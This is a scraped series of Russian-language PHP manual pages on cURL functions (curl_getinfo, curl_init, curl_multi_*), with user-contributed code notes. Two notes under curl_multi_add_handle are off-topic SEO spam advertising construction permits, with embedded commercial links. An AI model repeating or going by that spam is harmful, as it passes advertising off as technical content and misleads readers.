If you retrieve a web page and print it (so you can see it in your browser), and the page has an expiration, this expiration now applies to MyProgram.php and next time your program/page is called, even if it's grabbing a different web page, it will show what it just displayed.  In Netscape you can get rid of this by going into Edit, Options, Advanced, Cache, and clear out the Disk Cache.  But this is really annoying after short order.  The following prevents the above scenario:

<?php
function GetCurlPage ($pageSpec) {
    $ch = curl_init($pageSpec);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $tmp = curl_exec ($ch);
    curl_close ($ch);
// if you intend to print this page, better clear out expiration tag
    $tmp = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $tmp);
    return $tmp;
}
?>


Возвращает информацию об определённой операции

  • « curl_exec
  • curl_init »
  • PHP Manual
  • Функции cURL
  • Возвращает информацию об определённой операции

curl_getinfo

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

curl_getinfo — Возвращает информацию об определённой операции

Описание

curl_getinfo(CurlHandle $handle, ?int $option = null): mixed

Возвращает информацию о последней операции.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

option

Одна из перечисленных констант:

  • CURLINFO_EFFECTIVE_URL - Последний использованный URL
  • CURLINFO_HTTP_CODE - Последний код ответа. Начиная с cURL 7.10.8, это устаревший псевдоним CURLINFO_RESPONSE_CODE
  • CURLINFO_FILETIME - Удалённая (серверная) дата загруженного документа, если включена опция CURLOPT_FILETIME; если получено -1, значит это время неизвестно
  • CURLINFO_TOTAL_TIME - Общее время выполнения транзакции в секундах последней передачи
  • CURLINFO_NAMELOOKUP_TIME - Время разрешения имени сервера в секундах
  • CURLINFO_CONNECT_TIME - Время в секундах, затраченное на установку соединения
  • CURLINFO_PRETRANSFER_TIME - Время в секундах, прошедшее от начала операции до готовности к фактической передаче данных
  • CURLINFO_STARTTRANSFER_TIME - Время в секундах до передачи первого байта данных
  • CURLINFO_REDIRECT_COUNT - Число перенаправлений с включённой опцией CURLOPT_FOLLOWLOCATION
  • CURLINFO_REDIRECT_TIME - Общее время в секундах, затраченное на перенаправления до начала последней транзакции с включённой опцией CURLOPT_FOLLOWLOCATION
  • CURLINFO_REDIRECT_URL - При отключённой опции CURLOPT_FOLLOWLOCATION: URL перенаправления, найденный в прошлой итерации, который необходимо запрашивать вручную. Если опция CURLOPT_FOLLOWLOCATION включена: пустое значение. URL перенаправления в этом случае доступен в CURLINFO_EFFECTIVE_URL
  • CURLINFO_PRIMARY_IP - IP-адрес последнего соединения
  • CURLINFO_PRIMARY_PORT - Порт получателя последнего соединения
  • CURLINFO_LOCAL_IP - Локальный (исходящий) IP адрес последнего соединения
  • CURLINFO_LOCAL_PORT - Локальный (исходящий) порт последнего соединения
  • CURLINFO_SIZE_UPLOAD - Общее количество байт при закачке
  • CURLINFO_SIZE_DOWNLOAD - Общее количество байт при загрузке
  • CURLINFO_SPEED_DOWNLOAD - Средняя скорость загрузки
  • CURLINFO_SPEED_UPLOAD - Средняя скорость закачки
  • CURLINFO_HEADER_SIZE - Суммарный размер всех полученных заголовков
  • CURLINFO_HEADER_OUT - Посылаемая строка запроса. Для работы этого параметра, добавьте опцию CURLINFO_HEADER_OUT к дескриптору с помощью вызова curl_setopt()
  • CURLINFO_REFERER - Заголовок реферера
  • CURLINFO_REQUEST_SIZE - Суммарный размер всех отправленных запросов, в настоящее время используется только для HTTP-запросов
  • CURLINFO_RETRY_AFTER - Информация из заголовка Retry-After: или ноль, если корректного заголовка не было.
  • CURLINFO_SSL_VERIFYRESULT - Результат проверки SSL-сертификата, запрошенной с помощью установки параметра CURLOPT_SSL_VERIFYPEER
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD - размер скачанных данных, прочитанный из заголовка Content-Length:
  • CURLINFO_CONTENT_LENGTH_UPLOAD - Размер закачиваемых данных
  • CURLINFO_CONTENT_TYPE - Содержимое полученного заголовка Content-Type:. Если NULL, то сервер не послал правильный заголовок Content-Type:
  • CURLINFO_PRIVATE - Внутренние данные, связанные с данным cURL-обработчиком, ранее установленные с помощью опции CURLOPT_PRIVATE в функции curl_setopt()
  • CURLINFO_PROXY_ERROR - Подробный (SOCKS) код ошибки прокси, когда последняя передача вернула ошибку CURLE_PROXY. Возвращаемое значение будет ровно одним из значений CURLPX_*. Код ошибки будет CURLPX_OK, если код ответа не был доступен.
  • CURLINFO_RESPONSE_CODE - Последний код возврата
  • CURLINFO_HTTP_CONNECTCODE - Код ответа операции CONNECT
  • CURLINFO_HTTPAUTH_AVAIL - Битовая маска, показывающая возможные методы аутентификации, доступные при предыдущем ответе
  • CURLINFO_PROXYAUTH_AVAIL - Битовая маска, показывающая возможные методы аутентификации на прокси, доступные при предыдущем ответе
  • CURLINFO_OS_ERRNO - Номер ошибки при попытке соединения. Код может различаться в зависимости от системы и ОС
  • CURLINFO_NUM_CONNECTS - Количество соединений, совершенных curl для обеспечения предыдущей передачи
  • CURLINFO_SSL_ENGINES - Поддержка OpenSSL
  • CURLINFO_COOKIELIST - Все известные куки
  • CURLINFO_FTP_ENTRY_PATH - Путь входа на FTP-сервер
  • CURLINFO_APPCONNECT_TIME - Время в секундах от начала и до установления SSL/SSH connect/handshake с удалённым хостом
  • CURLINFO_CERTINFO - связка ключей TLS
  • CURLINFO_CONDITION_UNMET - информация о неудовлетворённых временных условиях
  • CURLINFO_RTSP_CLIENT_CSEQ - Следующий RTSP клиентского CSeq
  • CURLINFO_RTSP_CSEQ_RECV - Недавно полученный CSeq
  • CURLINFO_RTSP_SERVER_CSEQ - Следующий RTSP серверного CSeq
  • CURLINFO_RTSP_SESSION_ID - ID сессии RTSP
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD_T - Content-length загрузки. Это значение считывается из поля Content-Length:. -1 если размер не известен
  • CURLINFO_CONTENT_LENGTH_UPLOAD_T - Указанный размер загрузки. -1 если размер не известен
  • CURLINFO_HTTP_VERSION - Версия, использованная в последнем HTTP-соединении. Возвращаемое значение будет одной из определённых констант CURL_HTTP_VERSION_* или 0, если версия не может быть определена
  • CURLINFO_PROTOCOL - Протокол, использованный в последнем HTTP-соединении. Возвращаемое значение будет точно одним из значений CURLPROTO_*
  • CURLINFO_PROXY_SSL_VERIFYRESULT - Результат проверки сертификата, который был запрошен (с использованием параметра CURLOPT_PROXY_SSL_VERIFYPEER). Используется только для HTTPS-прокси
  • CURLINFO_SCHEME - Схема URL, используемая для самого последнего соединения
  • CURLINFO_SIZE_DOWNLOAD_T - Общее количество скачанных байтов. Номер предназначен только для последней передачи и будет сбрасываться для каждой новой передачи.
  • CURLINFO_SIZE_UPLOAD_T - Общее количество загруженных байтов
  • CURLINFO_SPEED_DOWNLOAD_T - Средняя скорость скачивания в байтах/секунду, измеренная для полного скачивания
  • CURLINFO_SPEED_UPLOAD_T - Средняя скорость загрузки в байтах/секунду, измеренная для полной загрузки
  • CURLINFO_APPCONNECT_TIME_T - Время в микросекундах, которое прошло с самого начала до тех пор, пока соединение/рукопожатие SSL/SSH не было завершено
  • CURLINFO_CONNECT_TIME_T - Общее время, затрачиваемое в микросекундах с начала до момента подключения к удалённому хосту (или прокси-серверу)
  • CURLINFO_FILETIME_T - Удалённое время извлечённого документа (как метка времени Unix), альтернатива CURLINFO_FILETIME, чтобы разрешить системам с 32-битными long-переменными извлекать даты вне диапазона 32-битных временных меток
  • CURLINFO_NAMELOOKUP_TIME_T -в Время в микросекундах от начала до разрешения имени
  • CURLINFO_PRETRANSFER_TIME_T - Время в микросекундах, затраченное с самого начала до начала передачи файла
  • CURLINFO_REDIRECT_TIME_T - Общее время в микросекундах, которое потребовалось для всех шагов перенаправления, включая поиск имени, подключение, предварительный перенос и передачу до запуска окончательной транзакции
  • CURLINFO_STARTTRANSFER_TIME_T - Время в микросекундах, которое прошло с начала до получения первого байта
  • CURLINFO_TOTAL_TIME_T - Общее время в микросекундах для предыдущей передачи, включая разрешение имён, TCP-соединение и т. д.

Возвращаемые значения

Если параметр option указан, то возвращается его значение. Иначе возвращается ассоциативный массив со следующими элементами (которые соответствуют значениям аргумента option) или false в случае возникновения ошибки:

  • "url"
  • "content_type"
  • "http_code"
  • "header_size"
  • "request_size"
  • "filetime"
  • "ssl_verify_result"
  • "redirect_count"
  • "total_time"
  • "namelookup_time"
  • "connect_time"
  • "pretransfer_time"
  • "size_upload"
  • "size_download"
  • "speed_download"
  • "speed_upload"
  • "download_content_length"
  • "upload_content_length"
  • "starttransfer_time"
  • "redirect_time"
  • "certinfo"
  • "primary_ip"
  • "primary_port"
  • "local_ip"
  • "local_port"
  • "redirect_url"
  • "request_header" (возвращается только при установленной опции CURLINFO_HEADER_OUT с помощью вызова curl_setopt() до выполнения запроса)
Учтите, что внутренние данные не добавляются в ассоциативный массив и должны получаться отдельно с помощью опции CURLINFO_PRIVATE.

Список изменений

Версия | Описание
8.2.0 | Добавлены константы CURLINFO_PROXY_ERROR, CURLINFO_REFERER, CURLINFO_RETRY_AFTER.
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).
8.0.0 | option is nullable now; previously, the default was 0.
7.3.0 | Добавлены CURLINFO_CONTENT_LENGTH_DOWNLOAD_T, CURLINFO_CONTENT_LENGTH_UPLOAD_T, CURLINFO_HTTP_VERSION, CURLINFO_PROTOCOL, CURLINFO_PROXY_SSL_VERIFYRESULT, CURLINFO_SCHEME, CURLINFO_SIZE_DOWNLOAD_T, CURLINFO_SIZE_UPLOAD_T, CURLINFO_SPEED_DOWNLOAD_T, CURLINFO_SPEED_UPLOAD_T, CURLINFO_APPCONNECT_TIME_T, CURLINFO_CONNECT_TIME_T, CURLINFO_FILETIME_T, CURLINFO_NAMELOOKUP_TIME_T, CURLINFO_PRETRANSFER_TIME_T, CURLINFO_REDIRECT_TIME_T, CURLINFO_STARTTRANSFER_TIME_T, CURLINFO_TOTAL_TIME_T.

Примеры

Пример #1 Пример использования curl_getinfo()

<?php
// Создаём дескриптор cURL
$ch = curl_init('http://www.example.com/');

// Запускаем
curl_exec($ch);

// Проверяем наличие ошибок
if (!curl_errno($ch)) {
$info = curl_getinfo($ch);
echo 'Прошло ', $info['total_time'], ' секунд во время запроса к ', $info['url'], "\n";
}

// Закрываем дескриптор
curl_close($ch);
?>

Пример #2 Пример использования curl_getinfo() с параметром option

<?php
// Создаём дескриптор cURL
$ch = curl_init('http://www.example.com/');

// Запускаем
curl_exec($ch);

// Проверяем наличие ошибок
if (!curl_errno($ch)) {
switch ($http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE)) {
case 200: # OK
break;
default:
echo 'Неожиданный код HTTP: ', $http_code, "\n";
}
}

// Закрываем дескриптор
curl_close($ch);
?>

Примечания

Замечание:

Информация, собранная этой функцией, будет сохранена при дальнейшем использовании дескриптора. Это означает, что если статистика не будет перезаписана самой функцией, будет возвращаться информация по предыдущему запросу.

User Contributed Notes

c dot ball1729 at gmail dot com 19-Jun-2023 12:46
A note about $curl_info['header_size'] (in response to the example above).

Note that the total includes the size of any received headers suppressed by CURLOPT_SUPPRESS_CONNECT_HEADERS (see: https://curl.se/libcurl/c/CURLINFO_HEADER_SIZE.html) so if you are using a proxy which adds additional headers along with this option, $curl_info['header_size'] will give you the wrong string index based on the headers available in PHP. i.e., it will eat in to the start of the response instead of being the index of the beginning of the response.
public-mail at alekciy dot ru 18-Nov-2015 09:35
Note, header_size include "\r\n\r\n". So if you use CURLOPT_FOLLOWLOCATION>0, CURLOPT_HEADER=true, CURLOPT_RETURNTRANSFER=true right way splite header/body:

$response = curl_exec($ch);
$curl_info = curl_getinfo($ch);
curl_close($ch);
$header_size = $curl_info['header_size'];
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);
torres dot krys at gmail dot com 31-Jul-2015 07:07
If you use curl option CURLOPT_NOBODY = true to test if distant url is available, any sites can send you an http code 400 like Cdiscount Wsdl :

$ch = @curl_init($wsdl);

if($ch === false)
    return false;

@curl_setopt($ch, CURLOPT_HEADER         ,true);    // we want headers
@curl_setopt($ch, CURLOPT_NOBODY         ,true);    // dont need body
@curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);    // catch output (do NOT print!)

@curl_exec($ch);

if(@curl_errno($ch)){   // should be 0
    @curl_close($ch);
    return false;
}

$code = @curl_getinfo($ch, CURLINFO_HTTP_CODE);

Modifying CURLOPT_NOBODY to false, http code sent is 200 otherwise http code is 400 !!!
Curly 30-Mar-2015 09:55
If you call curl_reset() on a handle that has already been passed to curl_exec(), and then perform a curl_getinfo() on the same handle, you may expect that you get the same result as if you called curl_getinfo() immediately after curl_init(). This is not the case, however. cURL will return the data from the previous execution. If you want to completely reset you actually need to unset the cURL handle and recreate a new one.
qrworld.net 11-Nov-2014 04:43
Here you have a function that I use to get the content of a URL using cURL. This uses curl_getinfo to know if it is a regular URL or maybe a redirection.

I hope it would be useful for you:

function getUrlContent($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 $data = curl_exec($ch);
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 curl_close($ch);
 return ($httpcode>=200 && $httpcode<300) ? $data : false;
}

The source comes from this website:

http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url.html
bg at enativ dot com 18-Mar-2014 09:53
curl_getinfo($ch) will also return 'redirect_url' if there is one (even if CURLOPT_FOLLOWLOCATION set to false).
I don't know why it's not in the doc..
nikita dot bulatenko at gmail dot com 15-Mar-2013 02:11
CURLINFO_SSL_VERIFYRESULT error codes:
0: ok the operation was successful.
2 : unable to get issuer certificate
3: unable to get certificate CRL
4: unable to decrypt certificate's signature
5: unable to decrypt CRL's signature
6: unable to decode issuer public key
7: certificate signature failure
8: CRL signature failure
9: certificate is not yet valid
10: certificate has expired
11: CRL is not yet valid
12:CRL has expired
13: format error in certificate's notBefore field
14: format error in certificate's notAfter field
15: format error in CRL's lastUpdate field
16: format error in CRL's nextUpdate field
17: out of memory
18: self signed certificate
19: self signed certificate in certificate chain
20: unable to get local issuer certificate
21:unable to verify the first certificate
22: certificate chain too long
23: certificate revoked
24: invalid CA certificate
25: path length constraint exceeded
26: unsupported certificate purpose
27: certificate not trusted
28: certificate rejected
29: subject issuer mismatch
30: authority and subject key identifier mismatch
31: authority and issuer serial number mismatch
32: key usage does not include certificate signing
50: application verification failure
details at http://www.openssl.org/docs/apps/verify.html#VERIFY_OPERATION
vince 22-Oct-2010 04:56
CURLINFO_HTTP_CODE does not return a string, as the docs say, but rather an integer.

<?php
    $c = curl_init('http://www.example.com/');
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === '200') echo "CURLINFO_HTTP_CODE returns a string.";
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === 200) echo "CURLINFO_HTTP_CODE returns an integer.";
    curl_close($c);
?>

returns

"CURLINFO_HTTP_CODE returns an integer."
Anonymous 20-Jul-2010 02:53
The main doc neglects to mention that when the CURLINFO_HEADER_OUT option is set the array returned by this function will included a new property, request_header, that is a string of the headers sent in the request.
nemetral 17-Jun-2008 07:57
Just a quick note: if you want to use curl_getinfo() with option CURLINFO_HEADER_OUT in order to debug your cURL request, you must add curl_setopt($handle, CURLINFO_HEADER_OUT, true); first while specifying the options.
luiheidsgoeroe at hotmail dot com 04-Feb-2008 03:02
Keep in mind that for CURLOPT_RETURNTRANSFER it has to be set with curl_setopt() before execution:

This doesn't work:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>

This works:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>
Mark Evers 16-Jan-2008 10:14
There is a constant missing from that list.  CURLINFO_REDIRECT_COUNT will give you the number of redirects it went through if CURLOPT_FOLLOWLOCATION was set.
ssttoo at hotmail dot com 06-Apr-2004 12:13
Here are the response codes ready for pasting in an ini-style file. Can be used to provide more descriptive message, corresponding to 'http_code' index of the arrray returned by curl_getinfo().
These are taken from the W3 consortium HTTP/1.1: Status Code Definitions, found at
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[Informational 1xx]
100="Continue"
101="Switching Protocols"

[Successful 2xx]
200="OK"
201="Created"
202="Accepted"
203="Non-Authoritative Information"
204="No Content"
205="Reset Content"
206="Partial Content"

[Redirection 3xx]
300="Multiple Choices"
301="Moved Permanently"
302="Found"
303="See Other"
304="Not Modified"
305="Use Proxy"
306="(Unused)"
307="Temporary Redirect"

[Client Error 4xx]
400="Bad Request"
401="Unauthorized"
402="Payment Required"
403="Forbidden"
404="Not Found"
405="Method Not Allowed"
406="Not Acceptable"
407="Proxy Authentication Required"
408="Request Timeout"
409="Conflict"
410="Gone"
411="Length Required"
412="Precondition Failed"
413="Request Entity Too Large"
414="Request-URI Too Long"
415="Unsupported Media Type"
416="Requested Range Not Satisfiable"
417="Expectation Failed"

[Server Error 5xx]
500="Internal Server Error"
501="Not Implemented"
502="Bad Gateway"
503="Service Unavailable"
504="Gateway Timeout"
505="HTTP Version Not Supported"

And an example usage:
<?php
$ch = curl_init(); // create cURL handle (ch)
if (!$ch) {
    die("Couldn't initialize a cURL handle");
}
// set some cURL options
$ret = curl_setopt($ch, CURLOPT_URL,            "http://mail.yahoo.com");
$ret = curl_setopt($ch, CURLOPT_HEADER,         1);
$ret = curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$ret = curl_setopt($ch, CURLOPT_TIMEOUT,        30);

// execute
$ret = curl_exec($ch);

if (empty($ret)) {
    // some kind of an error happened
    die(curl_error($ch));
    curl_close($ch); // close cURL handler
} else {
    $info = curl_getinfo($ch);
    curl_close($ch); // close cURL handler

    if (empty($info['http_code'])) {
            die("No HTTP code was returned");
    } else {
        // load the HTTP codes
        $http_codes = parse_ini_file("path/to/the/ini/file/I/pasted/above");

        // echo results
        echo "The server responded: <br />";
        echo $info['http_code'] . " " . $http_codes[$info['http_code']];
    }

}
?>


Инициализирует сеанс cURL

  • « curl_getinfo
  • curl_multi_add_handle »
  • PHP Manual
  • Функции cURL
  • Инициализирует сеанс cURL

curl_init

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_init — Инициализирует сеанс cURL

Описание

curl_init(?string $url = null): CurlHandle|false

Инициализирует новый сеанс cURL и возвращает дескриптор, который используется с функциями curl_setopt(), curl_exec() и curl_close().

Список параметров

url

Если указан, опция CURLOPT_URL будет автоматически установлена в значение этого аргумента. Вы можете вручную установить эту опцию с помощью функции curl_setopt().

Замечание:

Протокол file становится недоступным в cURL, если задана опция open_basedir.

Возвращаемые значения

Возвращает дескриптор cURL в случае успешного выполнения, и false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения возвращает экземпляр CurlHandle; раньше, возвращался ресурс (resource).
8.0.0 | url теперь допускает значение null.

Примеры

Пример #1 Инициализация нового сеанса cURL и загрузка веб-страницы

<?php
// создание нового ресурса cURL
$ch = curl_init();

// установка URL и других необходимых параметров
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// загрузка страницы и выдача её браузеру
curl_exec($ch);

// завершение сеанса и освобождение ресурсов
curl_close($ch);
?>

Смотрите также

  • curl_close() - Завершает сеанс cURL
  • curl_multi_init() - Создаёт набор cURL-дескрипторов

User Contributed Notes

VictorWumble 15-Nov-2023 01:52
NextgenThemes' note is applicable for very very limited situations. For completeness's sake, let's consider the following code snippet:

<?php

/*
Your localhost has a default Apache which simply returns "It works!"
*/

$repeatCount = 1000;

// begin section
// this section is slow

// call localhost, create new handle each time
$time = microtime(true);
foreach (range(1, $repeatCount) as $ignored) {
    $ch = curl_init("http://localhost");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    // do something with the response
    unset($response);
    curl_close($ch);
}
unset($ch);
$elapsed = microtime(true) - $time;
echo "Recreate curl handle, time taken: " . $elapsed . "\n";

// end section

// begin section
// this section is much faster

// call localhost, but reuse the handle
$time = microtime(true);
$ch = curl_init("http://localhost");
foreach (range(1, $repeatCount) as $ignored) {
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    // do something with the response
    unset($response);
}
curl_close($ch);
$elapsed = microtime(true) - $time;
echo "Reuse curl handle, time taken: " . $elapsed . "\n";

// end section

/*
Example output:
Recreate curl handle, time taken: 11.289301872253
Reuse curl handle, time taken: 0.53790807723999
*/

?>

The above code supports the claim by NextgenThemes, however the "send curl requests in sequence" method in general is unnecessarily slow because:
- network transfer time (e.g. 100ms)
- remote processing time (e.g. 50ms)
- usually, no need to send requests in specific sequence

So, in practice, when you need to send multiple curl requests at the same time, just use the curl_multi_init method. Don't consider the "send curl requests in sequence" method unless you have very very specific/special needs.
NextgenThemes 13-Apr-2023 07:40
This may be obvious, but:

Note that is MUCH faster to use use a single instance to make a series of curl requests rather than creating a new instance for each request.


Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов

  • « curl_init
  • curl_multi_close »
  • PHP Manual
  • Функции cURL
  • Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов

curl_multi_add_handle

(PHP 5, PHP 7, PHP 8)

curl_multi_add_handle — Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов

Описание

curl_multi_add_handle(CurlMultiHandle $multi_handle, CurlHandle $handle): int

Добавляет дескриптор handle к набору дескрипторов multi_handle

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает 0 при успехе, или один из кодов ошибок CURLM_XXX.

Список изменений

Версия | Описание
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_multi_add_handle()

Этот пример создаст два дескриптора cURL, добавит их в набор дескрипторов, а затем запустит их асинхронно.

<?php
// создаём оба ресурса cURL
$ch1 = curl_init();
$ch2 = curl_init();

// устанавливаем URL и другие соответствующие опции
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//создаём набор дескрипторов cURL
$mh = curl_multi_init();

//добавляем два дескриптора
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

//запускаем множественный обработчик
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

//закрываем все дескрипторы
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);
?>

Смотрите также

  • curl_multi_remove_handle() - Удаляет cURL дескриптор из набора cURL дескрипторов
  • curl_multi_init() - Создаёт набор cURL-дескрипторов
  • curl_init() - Инициализирует сеанс cURL

User Contributed Notes

RNS-MO-dig 02-Sep-2023 02:57
Разрешение на строительство — это государственный удостоверение, предоставленный правомочными ведомствами государственного управления или территориального самоуправления, который дает возможность начать стройку или исполнение строительного процесса.
<a href=https://rns-50.ru/>Получение разрешения на строительство</a> предписывает законодательные основания и стандарты к строительству, включая разрешенные категории работ, предусмотренные материалы и методы, а также включает строительные нормативные акты и комплексы охраны. Получение разрешения на строительную деятельность является обязательным документов для строительной сферы.
RNS-MO-dig 01-Sep-2023 12:15
Разрешение на строительство — это официальный документ, выписываемый полномочными органами государственного аппарата или местного управления, который позволяет начать строительную деятельность или осуществление строительных операций.
<a href=https://rns-50.ru/>Разрешение на строительство</a> формулирует юридические основы и стандарты к строительным операциям, включая допустимые категории работ, разрешенные материалы и подходы, а также включает строительные инструкции и комплекты безопасности. Получение разрешения на возведение является необходимым документов для строительной сферы.
3315954155 at libero dot it 20-Jul-2018 04:18
Sometime with arrays and loops (i.e. for or do while or foreach) curl_multi_init  loses some hits, to work around this problem  it is necessary to divide the loop into two parts: the start with key number zero and than, all the rest. In this way the curl_multi_init doesn't lose any hits. I did a lot of test and it seems to work well enough.
<?php

function set_option($x, $y){
curl_setopt($x, CURLOPT_URL,  $y);
curl_setopt($x, CURLOPT_HEADER, 0);
curl_setopt($x, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($x, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($x, CURLOPT_ENCODING, "gzip,deflate");
}

$nodes = array('http://php.net/manual/it/function.curl-multi-add-handle.php',
'http://php.net/manual/en/function.curl-multi-init.php',
'http://php.net/manual/en/function.curl-multi-setopt.php'
);

$node_count = count($nodes);

$curl_arr = array();
$master = curl_multi_init();
/*
now I put the first part of the array with the start key number zero, add all
options and add the curl_multi_add_handle;
it is necessary to detach this first part to avoid to lose some handles and than running
 the loop with the start key number one.
In this way the curl_multi_init doesn't lose anything and seems to be very stable.
*/
    $curl_arr[0] = curl_init($nodes[0]);
    set_option($curl_arr[0], $nodes[0]);
    curl_multi_add_handle($master, $curl_arr[0]);

/*
now the loop can start with key number one
*/
$i = 1;
do {
    if ($i!==0){

    $curl_arr[$i] = curl_init($nodes[$i]);
    set_option($curl_arr[$i], $nodes[$i]);
    curl_multi_add_handle($master, $curl_arr[$i]);
    }
$i++;
}while($i < $node_count);

$running = NULL;
do {
    curl_multi_exec($master,$running);
} while($running);

$results = array();
$q = 0;
do{
 $results[$q] = curl_multi_getcontent($curl_arr[$q]);
 curl_multi_remove_handle($master, $curl_arr[$q]);
$q++;
}while($q < $node_count);

foreach($results as $value){
 echo $value;
}

?>
kamsamlt888 at gmail dot com 06-Apr-2018 09:47
$nodes = array('http://www.google.com', 'http://www.microsoft.com', 'http://yahoo.com');
$node_count = count($nodes);

$curl_arr = array();
$master = curl_multi_init();

for($i = 0; $i < $node_count; $i++)
{
    $url =$nodes[$i];
    $curl_arr[$i] = curl_init($url);
    curl_setopt($curl_arr[$i], CURLOPT_RETURNTRANSFER, true);
    curl_multi_add_handle($master, $curl_arr[$i]);
}

do {
    curl_multi_exec($master,$running);
} while($running > 0);

echo "results: ";
for($i = 0; $i < $node_count; $i++)
{
    $results = curl_multi_getcontent  ( $curl_arr[$i]  );
    echo( $i . "\n" . $results . "\n");
}
echo 'done';
Anonymous 24-Dec-2012 06:29
The 'do' loop in this example will cycle indefinitely until all curl downloads complete, needlessly using CPU cycles.  A much better way is to block while dowloads are in progress.  Refer to the example code on the curl_multi_exec() page instead, which does this!


Закрывает набор cURL-дескрипторов

  • « curl_multi_add_handle
  • curl_multi_errno »
  • PHP Manual
  • Функции cURL
  • Закрывает набор cURL-дескрипторов

curl_multi_close

(PHP 5, PHP 7, PHP 8)

curl_multi_close — Закрывает набор cURL-дескрипторов

Описание

curl_multi_close(CurlMultiHandle $multi_handle): void

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

Закрывает набор дескрипторов cURL.

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_multi_close()

Этот пример создаст два дескриптора cURL, добавит их в набор дескрипторов, а затем запустит их асинхронно.

<?php
// создаём оба ресурса cURL
$ch1 = curl_init();
$ch2 = curl_init();

// устанавливаем URL и другие соответствующие опции
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//создаём набор дескрипторов cURL
$mh = curl_multi_init();

//добавляем два дескриптора
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

//запускаем множественный обработчик
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

//закрываем все дескрипторы
curl_multi_remove_handle($mh, $ch1);
curl_close($ch1);
curl_multi_remove_handle($mh, $ch2);
curl_close($ch2);
curl_multi_close($mh);

?>

Смотрите также

  • curl_multi_init() - Создаёт набор cURL-дескрипторов
  • curl_close() - Завершает сеанс cURL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код последней ошибки множественного curl

  • « curl_multi_close
  • curl_multi_exec »
  • PHP Manual
  • Функции cURL
  • Возвращает код последней ошибки множественного curl

curl_multi_errno

(PHP 7 >= 7.1.0, PHP 8)

curl_multi_errno — Возвращает код последней ошибки множественного curl

Описание

curl_multi_errno(CurlMultiHandle $multi_handle): int

Возвращает код последней ошибки множественного curl в виде целого числа.

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

Возвращаемые значения

Возвращает код последней ошибки множественного curl в виде целого числа.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки.
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).

Смотрите также

  • curl_errno() - Возвращает код последней ошибки

User Contributed Notes

